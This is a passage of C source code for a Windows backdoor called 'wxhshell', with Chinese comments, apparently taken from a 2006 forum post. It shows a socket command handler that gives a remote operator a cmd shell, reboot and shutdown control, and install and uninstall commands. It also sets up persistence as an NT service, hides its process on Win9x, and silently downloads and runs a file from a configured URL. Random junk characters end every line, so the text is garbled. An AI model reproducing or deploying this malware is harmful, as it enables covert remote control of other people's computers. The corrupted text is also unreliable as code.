  else { -FI)o`AE  
}2;iIw`  
    switch(cmd[0]) { <:NahxIlu  
  B-$?5Ft!  
  // 帮助 %l14K_  
  case '?': { +2}cR66%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ZC\8tP`V  
    break; 93:oXyFjD  
  } 97$Q?a8S@  
  // 安装 #/jug[wf*!  
  case 'i': { X d o\DQn  
    if(Install()) ?Z_T3/ f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ExSM=  
    else F\^8k/0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SDV#p];u  
    break; LMx/0  
    } l2:-).7xt  
  // 卸载 3;VH'hh_  
  case 'r': { %p$XK(6  
    if(Uninstall()) vd(S&&]o1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *S"RU~1_  
    else dP(.l}O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /d,u"_=l  
    break; ~*"ZF-c,  
    } C:}1r  
  // 显示 wxhshell 所在路径 HA,8O [jon  
  case 'p': { RgUQ:  
    char svExeFile[MAX_PATH]; t72u%M6  
    strcpy(svExeFile,"\n\r"); eY'n S  
      strcat(svExeFile,ExeFile); KvEv0L<ky  
        send(wsh,svExeFile,strlen(svExeFile),0); 7s3=Fa:9Q  
    break; iw=e"6V  
    } sNcU>qjj6  
  // 重启 @eeI4Jz  
  case 'b': { U,Uy0s2r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); od5nRb  
    if(Boot(REBOOT)) m;\nMdn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jf`w8*R  
    else { rab$[?]  
    closesocket(wsh); FU/:'/ L  
    ExitThread(0); 4w=v /WDo  
    } TfT^.p*  
    break; ?jUgDwc(w  
    } /3Gq&[R{  
  // 关机 .r{t&HO;Y  
  case 'd': { M2p|&Z%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8<mloM-4  
    if(Boot(SHUTDOWN)) ~tyqvHC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9#:fQ!3`  
    else { +_$s9`@]6  
    closesocket(wsh); "igA^^?X1N  
    ExitThread(0); R9 Ab.t  
    } ]Idwy|eG  
    break; \8!CKnfs  
    } {U$XHG  
  // 获取shell R]e&JoY  
  case 's': { A[^#8evaK  
    CmdShell(wsh); dor1(@no|  
    closesocket(wsh); |LZ{kD|  
    ExitThread(0); G+Z ,i c  
    break; ,Yx<"2 W  
  } #b;k+<n[X  
  // 退出 mRRZ/m?A(  
  case 'x': { [?|yQ x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E:B"!Y6  
    CloseIt(wsh); vs[!B-  
    break; D (8Z90  
    } LKp;sV  
  // 离开 @s cn ?t  
  case 'q': { " "m-5PGYo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9  @ <  
    closesocket(wsh); d^nO&it  
    WSACleanup(); t0e5L{ QJ  
    exit(1); ui,!_O .c  
    break; IqFcrU$4  
        } 8y<.yfgG  
  } 2t_g\Q  
  } "{qnm+G  
"qF/7`e[  
  // 提示信息 \%Y`>x.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NQ;X|$!zH  
} 97\K] Tr  
  } ]r3/hDRDL@  
k(^TXUK\o  
  return; |v8h g])I+  
} & [@)Er=  
%LP4RZ  
// shell模块句柄 #}B1W&\sw  
int CmdShell(SOCKET sock) J.Xh P_aT  
{ <uB)u>3   
STARTUPINFO si; }DM W,+3  
ZeroMemory(&si,sizeof(si)); A03io8D6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gv G8s6IZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L~{(9J'(  
PROCESS_INFORMATION ProcessInfo; ukEJD3i  
char cmdline[]="cmd"; ;lb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PNo:[9`S;m  
  return 0; ]?H12xz  
} - K?lhu  
^*`#+*C  
// 自身启动模式 CN ( :  
int StartFromService(void) 0Zwx3[bq6K  
{ qhvT,"  
typedef struct T=u"y;&L  
{ p*42 @1,  
  DWORD ExitStatus; ,(Zxd4?y  
  DWORD PebBaseAddress; HQ9tvSc  
  DWORD AffinityMask; 2"Wq=qy\J  
  DWORD BasePriority; q MrM^ ~  
  ULONG UniqueProcessId; Z;a)P.l.>  
  ULONG InheritedFromUniqueProcessId; F7O*%y.';  
}   PROCESS_BASIC_INFORMATION; 4]m{^z`1  
M^Z=~512g  
PROCNTQSIP NtQueryInformationProcess; !KOa'Ic$V  
e,p*R?Y{[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z"yW):X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mOh?cjOi  
aWJ BYw6{L  
  HANDLE             hProcess; PkyX,mr#1  
  PROCESS_BASIC_INFORMATION pbi; c}n66qJF5  
OYt_i'Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4hxP`!<  
  if(NULL == hInst ) return 0; S-o )d  
L-E?1qhP>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qx1Js3%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j>;1jzr2}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -ak. wwx\  
FWW@t1)  
  if (!NtQueryInformationProcess) return 0; syg{qtBz^  
3e^0W_>6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yH-&o,  
  if(!hProcess) return 0; !Whx^B:  
K)    
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *,CJ 3< >  
lMu9Dp  
  CloseHandle(hProcess); 9y&;6V.'  
b j@R[!ss  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $8U$.~v  
if(hProcess==NULL) return 0; m-\_L=QzM  
^j${#Q  
HMODULE hMod; F*#!hWtb  
char procName[255]; mMXDzAllB  
unsigned long cbNeeded; _;5zA"~c#@  
C^,b aCX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eq%cRd]u  
xS%&l)dT  
  CloseHandle(hProcess); :3R3 >o6m  
O>h h  
if(strstr(procName,"services")) return 1; // 以服务启动 0lniu=xmQ-  
~D}fy  
  return 0; // 注册表启动 C}<e3BXc  
} D=z="p\  
]!sCWR  
// 主模块 $mKExW  
int StartWxhshell(LPSTR lpCmdLine) ]!^wB 3j  
{ "@ ^<~bw  
  SOCKET wsl; +,YK}?e  
BOOL val=TRUE; NY<qoV  
  int port=0; ktynIN  
  struct sockaddr_in door; xg, 9~f[  
o:ow"cOEf  
  if(wscfg.ws_autoins) Install();  u? >x  
cSB_b.@"1  
port=atoi(lpCmdLine); r vq{Dfo=  
>gL&a#<S  
if(port<=0) port=wscfg.ws_port; .!L{yU,  
 "O9n|B  
  WSADATA data; r`sKe &  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l lcq~*zz  
Nb3O> &J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x?B`p"ifS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rp<~=X  
  door.sin_family = AF_INET; G7`mK}J7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W0mvwYON[  
  door.sin_port = htons(port); h(AL\9{=}  
R"HV|Dm|m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @8m%*pBg  
closesocket(wsl); =to.Oa RR  
return 1; eQ)*jeD  
} U_'M9g{,<  
OhN2FkxL  
  if(listen(wsl,2) == INVALID_SOCKET) { Ws0)B8y,|  
closesocket(wsl); f ]_ki  
return 1; &g90q   
} DVwB}W~  
  Wxhshell(wsl); g.!k>_g`  
  WSACleanup(); XSN=0N!GB  
P8h|2,c%  
return 0; JBHPI@Qt%  
XaE*$:   
} H)Me!^@[D  
'j{o!T0  
// 以NT服务方式启动 )i.pE ]!+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w{_g"X  
{ qTbc?S46pt  
DWORD   status = 0; _]ZlGq!L  
  DWORD   specificError = 0xfffffff; j~.tyxOq#  
0S>L0qp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J,:;\Xhl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /CyFe<t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f$5pp=s:n  
  serviceStatus.dwWin32ExitCode     = 0; o/a2n<4  
  serviceStatus.dwServiceSpecificExitCode = 0; N<4 nb  
  serviceStatus.dwCheckPoint       = 0; Dpu?JF]  
  serviceStatus.dwWaitHint       = 0; 98 NFJ  
vpT\ CjXHZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m*B4a9 f  
  if (hServiceStatusHandle==0) return; )f^^hEIS  
AZik:C"Q  
status = GetLastError(); \v=@'  
  if (status!=NO_ERROR) K% snE7X?)  
{  LDU4 D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bFL2NH5  
    serviceStatus.dwCheckPoint       = 0; ' e!WZvr  
    serviceStatus.dwWaitHint       = 0; M6A0D+08  
    serviceStatus.dwWin32ExitCode     = status; tmBt[  
    serviceStatus.dwServiceSpecificExitCode = specificError; iyR"O1]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9dAtQwGR"6  
    return; `S-%}eUv  
  } +!ljq~%  
CGK]i. N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { Dm@_&  
  serviceStatus.dwCheckPoint       = 0; b?,%M^9\`  
  serviceStatus.dwWaitHint       = 0; "WtYqXyd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^jRX6  
} j$s/YI:  
j$ lf>.[I  
// 处理NT服务事件,比如:启动、停止 noz1W ]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y d~J(  
{ Q1yXdw  
switch(fdwControl) | X#!5u  
{ 8b-mW>xsA  
case SERVICE_CONTROL_STOP: }:$ot18  
  serviceStatus.dwWin32ExitCode = 0; NySa%7@CD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -w"lW7  
  serviceStatus.dwCheckPoint   = 0; :r "G Z  
  serviceStatus.dwWaitHint     = 0; ;-"q;&1e  
  { ]o=ON95ja  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O x`K7$)  
  } Sa@'?ApH  
  return; j+ L:Ao  
case SERVICE_CONTROL_PAUSE: {' 0#<Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?VRsgV'$  
  break; ]2|fc5G'  
case SERVICE_CONTROL_CONTINUE: 4e|N^h*!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $~1mKx]]  
  break; Val"vUZ  
case SERVICE_CONTROL_INTERROGATE: b3 =Z~iLv  
  break; [MbbL  
}; Tjv'S <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .$y'>O*$G  
} Eld[z{n"  
l.g.O>1   
// 标准应用程序主函数 ~9#x=nU:+V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `[}X_d 1A  
{ }><[6Uz%  
9MI9$s2y  
// 获取操作系统版本 PXtF#,roP  
OsIsNt=GetOsVer(); 3X DU(#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }hg2}g99  
W4k$m 2  
  // 从命令行安装 84e8z{  
  if(strpbrk(lpCmdLine,"iI")) Install(); n=$ne2/  
),Yk53G6c  
  // 下载执行文件 $-t@=N@vO?  
if(wscfg.ws_downexe) { [dFcxzM-N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E11C@%  
  WinExec(wscfg.ws_filenam,SW_HIDE); @+p(%  
} f.aa@>  
#Oj yUQ,  
if(!OsIsNt) { mPQT%%MF  
// 如果时win9x,隐藏进程并且设置为注册表启动 wWf_d jd  
HideProc(); j[w=pF,o  
StartWxhshell(lpCmdLine); ?Y8hy|`  
} $X/'BCb  
else Jn| i!  
  if(StartFromService()) .b<W*4{j0H  
  // 以服务方式启动 :wg=H  
  StartServiceCtrlDispatcher(DispatchTable); * ]bB7  
else QZ;DZMP  
  // 普通方式启动 J#i7'9g  
  StartWxhshell(lpCmdLine); ErJ@$&7  
y`7<c5zD  
return 0; 6dz^%Ub  
}
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只看该作者 1 发表于: 2006-10-10
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